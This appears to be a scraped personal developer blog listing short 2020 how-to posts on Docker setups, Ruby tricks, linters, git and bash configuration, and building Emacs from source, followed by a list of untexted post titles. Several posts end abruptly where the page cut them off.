Docker Images: basic Ruby setup

Thu, 16 Jul 2020 18:51:03 +0000

Use this as a template for ruby apps:

#-------------------------------------------------------------------------------
# Base

FROM ruby:2.7.2-alpine

SHELL ["/bin/ash", "-c"]

#-------------------------------------------------------------------------------
# Packages

RUN set -exo pipefail              && \
                                      \
    echo 'Install system packages' && \
    apk add --update --no-cache \
      build-base                \
      shadow

#-------------------------------------------------------------------------------
# Workspace

RUN set -exo pipefail       && \
                               \
    echo 'Create workspace' && \
    mkdir -p /work

WORKDIR /work

#-------------------------------------------------------------------------------
# User

ARG HOST_USER_UID=1000
ARG HOST_USER_GID=1000

RUN set -exo pipefail                                  && \
                                                          \
    echo 'Create the notroot user and group from host' && \
    groupadd -g $HOST_USER_GID notroot                 && \
    useradd -lm -u $HOST_USER_UID -g notroot notroot   && \
                                                          \
    echo 'Set direcotry permissions'                   && \
    chown notroot:notroot /work

#-------------------------------------------------------------------------------
# Gems

COPY --chown=notroot:notroot Gemfile* /work/

USER notroot

RUN set -exo pipefail                 && \
                                         \
    echo 'Install gems'               && \
    cd /work                          && \
    bundle install --jobs 3 --retry 3

#-------------------------------------------------------------------------------
# Command

CMD ["sh"]

Build it like this:

Docker Images: basic entrypoint

Tue, 14 Jul 2020 21:24:54 +0000

This is a docker entrypoint script that loads environment variables from a mounted file and executes the given command; most of the time it’s all you need.

#!/bin/sh

set -e

# Load environment variables.
if [ -f /environment/secrets.env ];
then
  set -a
  echo 'Sourcing: /environment/secrets.env'
  . /environment/secrets.env
  set +a
fi

# Executes the given command.
exec "$@"

Give this file a short and simple name like entry and copy it in your Dockerfile:

Serve HTML files with Ruby

Mon, 13 Jul 2020 20:44:08 +0000

Python has:

python3 -m http.server

But I like Ruby, so I do this instead:

# Basic:
ruby -run -e httpd

# With arguments:
ruby -run -e httpd -- -b 0.0.0.0 -p 9090

Note: there is no such thing as a -run flag for ruby, you’re doing -r for require and you’re loading the un.rb file from the ruby core. Then -e to evaluate the httpd function in that file.

Easter Eggs: ruby

Sun, 12 Jul 2020 12:55:20 +0000

Ruby is amazing! Here’s one easter egg:

ruby -r irb -e 'IRB.send(:easter_egg)'

Or start a ruby shell, type RubyVM and press Tab twice.

It also works in Docker, sort of, you need to provide the :dancing argument.

docker run --rm -it ruby:2.7.1-alpine ruby -r irb -e 'IRB.send(:easter_egg, :dancing)'

How to Use: docker-here

Mon, 06 Jul 2020 22:19:44 +0000

Source: https://gitlab.com/sdwolfz/docker-here

Install Link to heading

git clone https://gitlab.com/sdwolfz/docker-here.git
cd docker-here
sudo make install

Usage Link to heading

Instead of doing this:

docker run --rm -it -u "$(id -u)":"$(id -g)" -v "$PWD":/here -w /here alpine ls

Now you can do this:

docker-here alpine ls

You can change both the working directory and the mount path with -w:

docker-here -w /work alpine pwd

Run as root with the -r flag:

How to configure Git properly

Wed, 01 Jul 2020 19:16:38 +0000

Required Link to heading

You need a name and email otherwise commits won’t work:

git config --global user.name 'Your Name'
git config --global user.email 'your.email@faang.com'

Global .gitignore Link to heading

Don’t put junk like these in your poject’s .gitignore:

.DS_Store
.idea/
*.swp

Use your own config:

touch ~/.gitignore
git config --global core.excludesfile '~/.gitignore'

Symlink .dockerignore Link to heading

Add the git directory to your .gitignore file:

Fix font issues in Snaps

Mon, 29 Jun 2020 18:09:53 +0000

Website: https://snapcraft.io

Snaps are amazing, I don’t understand why people hate them, tell me another way you can reliably install and update apps like these with a single command:

acrordrdc (Adobe Acrobat Reader)
androidsdk (Android SDK)
drawio (Diagrams)
freecad (CAD)
heroku (PAAS)
signal-desktop (Chat)

In the linux world this is unheard of!

But sometimes you get font issues, where all characters are squares; here’s how you clear them:

sudo rm -v /var/cache/fontconfig/*
rm ~/.cache/fontconfig/*
rm ~/snap/*/common/.cache/fontconfig/*

sudo fc-cache -r
fc-cache -r

How to Use: yamllint

Sun, 28 Jun 2020 12:01:44 +0000

Install Link to heading

From package:

# Manjaro / Arch
sudo pacman -S yamllint

# Alpine
apk add --update yamllint

From Docker (no official image so use mine):

docker run --rm -it -v "$PWD":/work -w /work sdwolfz/yamllint:latest sh

Configure Link to heading

Add a .yamllint.yml file containing your rules:

---

extends: default

rules:
  line-length:
    max: 80
    level: warning

Use Link to heading

Single file:

How to Use: shellcheck

Thu, 25 Jun 2020 19:38:41 +0000

Install Link to heading

From package:

# Manjaro / Arch
sudo pacman -S shellcheck

# Alpine
apk add --update shellcheck

From Docker:

docker run --rm -it -v "$PWD":/work -w /work koalaman/shellcheck-alpine:latest sh

Configure Link to heading

Add a .shellcheckrc file containing your rules:

disable=SC2059

Use Link to heading

shellcheck ./path/to/script.sh

How to Use: hadolint

Wed, 24 Jun 2020 18:45:41 +0000

Install Link to heading

It’s not available in any package manager, so use the Docker image:

docker run --rm -it -v "$PWD":/work -w /work hadolint/hadolint:latest-alpine sh

Configure Link to heading

Add a .hadolint.yaml file containing your rules:

---

ignored:
  - DL3018

Use Link to heading

Single file:

hadolint ./path/to/Dockerfile

All files:

find . -name Dockerfile | xargs hadolint

Files known to git:

Reuse YAML sections with anchors

Sun, 21 Jun 2020 12:58:39 +0000

Define an anchor using the & character and reference it everywhere using the <<: * alias:

version: '2.4'

x-default-logging: &logging
  logging:
    options:
      max-size: '12m'
      max-file: '5'
    driver: json-file

services:
  web:
    image: alpine:latest
    command: /bin/true
    <<: *logging

  postgres:
    image: postgres:alpine
    <<: *logging

  redis:
    image: redis:alpine
    <<: *logging

If you run docker-compose config you’ll see x-default-logging is gone and aliases are replaced.

How to Use: envsubst

Fri, 12 Jun 2020 22:29:13 +0000

Install Link to heading

# Manjaro / Arch
sudo pacman -S gettext

# Alpine
apk add --update gettext

Usage Link to heading

Create a template input file ./truth.template containing:

Pizza is ${WHAT}

Export your environment variable:

export WHAT=love

Substitute it inside an output file:

envsubst < ./truth.template > ./output.file

You can see the result:

cat ./output.file
# Pizza is love

Real world usage Link to heading

Use it to generate random passwords and save them in env files:

How to Use: editorconfig

Thu, 11 Jun 2020 19:15:32 +0000

This is editorconfig:

https://editorconfig.org

This is the checker:

https://github.com/editorconfig-checker/editorconfig-checker

Install Link to heading

The CLI tool:

# Manjaro / Arch
sudo pacman -S git editorconfig-checker

# Alpine
apk add --update git editorconfig-checker

Check your text editor’s plugins for editorconfig integration. Spacemacs has it already built in.

Usage Link to heading

Add an .editorconfig file to your project root:

root = true

[*]
charset                  = utf-8
end_of_line              = lf
indent_style             = space
insert_final_newline     = true
tab_width                = 2
trim_trailing_whitespace = true

[Makefile]
indent_style = tab

[{tmp/**/*,cache/**/*}]
charset                  = unset
end_of_line              = unset
indent_style             = unset
insert_final_newline     = unset
tab_width                = unset
trim_trailing_whitespace = unset

Now you can lint your repository:

Ruby string interpolation

Wed, 10 Jun 2020 22:01:20 +0000

The bad way:

count = 3.to_s
puts 'I ate ' + count + ' burgers today!'

The lame way:

yuck = 'salad'
puts "No #{yuck} for me please!"

The woke way (notice where the .chomp call goes):

template = <<~TEMPLATE.chomp
  A large steak, %{how_done}, please!
TEMPLATE

puts template % { how_done: 'medium rare' }

For templating, follow this link:

Ruby templating with ERB

Compile Android projects from CLI

Mon, 08 Jun 2020 17:21:28 +0000

Install java:

sudo pacman -S jdk8-openjdk jre8-openjdk jre8-openjdk-headless

Install Android SDK:

sudo pacman -S snapd
sudo snap install androidsdk

Configure your SDK location in your ~/.bash_profile or ~/.bashrc:

export ANDROID_SDK_ROOT=~/snap/androidsdk/current/AndroidSDK/

Install the platform tools for your target android version:

androidsdk "platform-tools" "platforms;android-28"

Compile the project. This will install all dependencies, make sure to accept licenses when prompted.

./gradlew assembleDebug

If you haven’t done already, then Enable ‘Developer options’ on your phone

How to configure your Bash history

Sat, 25 Apr 2020 18:43:42 +0000

Good Link to heading

export HISTCONTROL=ignoreboth:erasedups
export HISTSIZE=5000000
export HISTFILESIZE=5000000
export HISTFILE=/home/$USER/.bash_history_persistent
shopt -s histappend

export PROMPT_COMMAND="history -a; $PROMPT_COMMAND"

It’s crucial that you change the location of your history file, otherwise it might get accidentally truncated. You always learn this the hard way.

Bad Link to heading

Don’t do:

export PROMPT_COMMAND="history -a; history -c; history -r; $PROMPT_COMMAND"

It will mess up your Ctrl + p and Ctrl + n functionality and that is infinetly more useful than having your command history shared between terminal tabs.

How to Use: pry-byebug

Sun, 12 Apr 2020 12:19:57 +0000

Add the pry-byebug gem, together with irb, to your Gemfile:

group :development, :test do
  gem 'irb'
  gem 'pry-byebug'
end

Add a .pryrc file to your project containing:

# frozen_string_literal: true

if defined?(PryByebug)
  Pry.commands.alias_command('c', 'continue')
  Pry.commands.alias_command('f', 'finish')
  Pry.commands.alias_command('n', 'next')
  Pry.commands.alias_command('s', 'step')
  Pry.commands.alias_command('w', 'whereami')

  Pry.commands.alias_command('q', '!!!')

  Pry::Commands.command(/^$/, 'repeat last command') do
    _pry_.run_command(Pry.history.to_a.last)
  end
end

Now you can start debugging your code:

require 'pry'
binding.pry

Install Cask from source

Fri, 10 Apr 2020 20:40:09 +0000

Prerequisites Link to heading

Install Emacs

Install Link to heading

Clone and link the repository:

git clone https://github.com/cask/cask.git
rm -rf ~/.cask
ln -s "$PWD"/cask ~/.cask

Add this to your .bash_profile:

export PATH=~/.cask/bin:$PATH

Install lazy loaded packages:

cask --help

Install Ruby gems in home directory

Sun, 05 Apr 2020 15:26:35 +0000

Create the ~/.gemrc file with the following content:

gem: --no-rdoc --no-ri --user-install

Add these lines to your .bash_profile:

for entry in ~/.gem/ruby/*; do PATH=$entry/bin:$PATH; done
export PATH

export BUNDLE_PATH=~/.gem/bundle

Now you can install gems without needing your root password:

gem install rspec

which rspec
# /home/me/.gem/ruby/2.7.0/bin/rspec

Bundler with a Gemfile:

source 'https://rubygems.org'

gem 'rspec'

You can prefix your commands with bundle exec:

bundle install

bundle exec which rspec
# /home/me/.gem/bundle/ruby/2.7.0/bin/rspec

Don’t forget to clean up your old ruby gems directories:

Install NPM packages in home directory

Sat, 04 Apr 2020 21:41:19 +0000

Create the ~/.npmrc file with the following content:

prefix = "~/.local"

Add the following line to your .bash_profile:

export PATH=~/.local/bin:$PATH

Now you can install a npm package without your root password:

npm install -g eslint

which eslint
# /home/me/.local/bin/eslint

How to Use: restclient

Fri, 03 Apr 2020 19:59:54 +0000

Setup Link to heading

Add the restclient layer to your .spacemacs:

dotspacemacs-configuration-layers '(
  restclient
)

Secrets Link to heading

Define the following function in your dotspacemacs/user-config:

(defun restclient-envchain-get (namespace variable)
  (cadr
    (split-string
      (string-trim
        (shell-command-to-string
          (format "envchain %s env | grep ^%s=" namespace variable)))
      "=")))

Usage Link to heading

With secrets:

:token := (restclient-envchain-get "secrets" "MY_TOKEN")

GET https://www.codrut.pro/?token=:token

Normal GET:

How to Use: fzf

Wed, 01 Apr 2020 19:00:53 +0000

Install Link to heading

sudo pacman -S fzf

Setup Link to heading

Add the following lines to your .bash_profile:

[[ -f /usr/share/fzf/completion.bash   ]] && . /usr/share/fzf/completion.bash
[[ -f /usr/share/fzf/key-bindings.bash ]] && . /usr/share/fzf/key-bindings.bash

Usage Link to heading

You have the following keybindings in an interactive bash shell:

Key binding	Description
`Ctrl + r`	Fuzzy search through your bash history.
`Ctrl + t`	fuzzy search a file in your current directory.

Best used with the following bash config:

Linear regression in Ruby

Mon, 30 Mar 2020 22:52:42 +0000

Let’s say you have the following 5 numbers:

values = [100, 200, 300, 400, 500]

To predict the next 3 in this series you need linear regression:

def linear_regression(pairs)
  n = pairs.size

  sum_x = pairs.map { |x, _| x }.sum.to_f
  sum_y = pairs.map { |_, y| y }.sum.to_f

  sum_xx = pairs.map { |x, _| x * x }.sum.to_f
  sum_xy = pairs.map { |x, y| x * y }.sum.to_f

  a = (    n * sum_xy - sum_x * sum_y ) / (n * sum_xx - sum_x**2)
  b = (sum_y * sum_xx - sum_x * sum_xy) / (n * sum_xx - sum_x**2)

  [a, b]
end

Call the function above with pairs of [index, value]:

How to Use: envchain

Sat, 28 Mar 2020 19:59:20 +0000

Install Link to heading

git clone https://github.com/sorah/envchain.git
cd envchain
make
sudo make install

Usage Link to heading

Store a new environment variable with the following command, adding the value after the prompt:

envchain -s -n namespace MY_NEW_ENV_VAR

Execute a command with your new environment variable set:

envchain namespace env | grep MY_NEW_ENV_VAR=

Install Emacs from source

Fri, 27 Mar 2020 19:25:47 +0000

Prerequisites Link to heading

sudo pacman -S libgccjit

Compile Link to heading

git clone git://git.sv.gnu.org/emacs.git
cd emacs

./autogen.sh git
./autogen.sh autoconf
./configure                                   \
  CFLAGS='-O3 -g0'                            \
  --program-transform-name='s/^ctags$/etags/' \
  --with-native-compilation

make -j`nproc`
sudo make install

Checks Link to heading

Press Alt + Shift + : and paste these…

For JIT:

(if (and
      (fboundp 'native-comp-available-p)
      (native-comp-available-p))
    (message "[SUCCESS] Native Compilation available")
  (message "[FAIL] Native Complation not available"))

For fast JSON parser:

(if (functionp 'json-serialize)
    (message "[SUCCESS] Native JSON available")
  (message "[FAIL] Native JSON not available"))

Debug Link to heading

./configure                                         \
  CFLAGS='-Og -gdwarf-5 -g3'                        \
  --program-transform-name='s/^ctags$/ctags.emacs/'

Hope you know how to use gdb when something goes wrong…

Card

Mon, 01 Jan 0001 00:00:00 +0000

Placeholder! (this page is generated here: https://gitlab.com/sdwolfz/cv)

CV

Mon, 01 Jan 0001 00:00:00 +0000

Placeholder! (this page is generated here: https://gitlab.com/sdwolfz/cv)

Codrut Constantin Gusoi

Chroot in Linux with Encrypted Btrfs

Prerequisites Link to heading

Usage Link to heading

Generate QR Code from CLI

Prereqisites Link to heading

Usage Link to heading

Terraform Format in CI

Rails: install Administrate

Gems Link to heading

Generate Link to heading

Changes Link to heading

Rails: install ActiveAdmin

Gems Link to heading

Generate Link to heading

Changes Link to heading

Create new Rails app through Docker

Prerequisites Link to heading

Shell Link to heading

Rails Link to heading

New Link to heading

Disallow GPT in robots.txt

Create a new Ruby gem

Setup Link to heading

Gem Name Link to heading

Permissions Link to heading

RSpec Instance Double

Easter Eggs: Pacman

How to Use: sha256sum

Prerequisites Link to heading

Digest Link to heading

Check Link to heading

Extract text from page using XPath

Ansible noop, resume, and skip

Evil Mode: silence movement warnings

Ruby Ractor: pass an arbitrary block

Git init without branch hint

Git root empty commit

Empty root commit Link to heading

Linux Bootable USB

Usage Link to heading

Details Link to heading

Concatenate shell commands

Steps Link to heading

Result Link to heading

Prepend to $PATH in bash

Usage Link to heading

Cleanup Link to heading

Pretty print Linux $PATH

Ruby Version Manager: rbenv

Docker Link to heading

How to install Homebrew securely

Code Link to heading

Test for Emacs compiler warnings

Setup Link to heading

Run Link to heading

Git refined diff output

Package Link to heading

Configure Link to heading

How to Use: ansible-lint

Install Link to heading

Configure Link to heading

Use Link to heading

Disable annoying Linux bell sound

Basic Link to heading

Automated Link to heading

HTML Tabs without Javascript

HTML Link to heading

CSS Link to heading

Result Link to heading

Check for Git differences in CI

CI Link to heading

Local packages in Spacemacs

Notes Link to heading

Reference Link to heading

How to Use: esbuild

Install Link to heading

Setup Link to heading

Code Link to heading

Ruby Benchmarking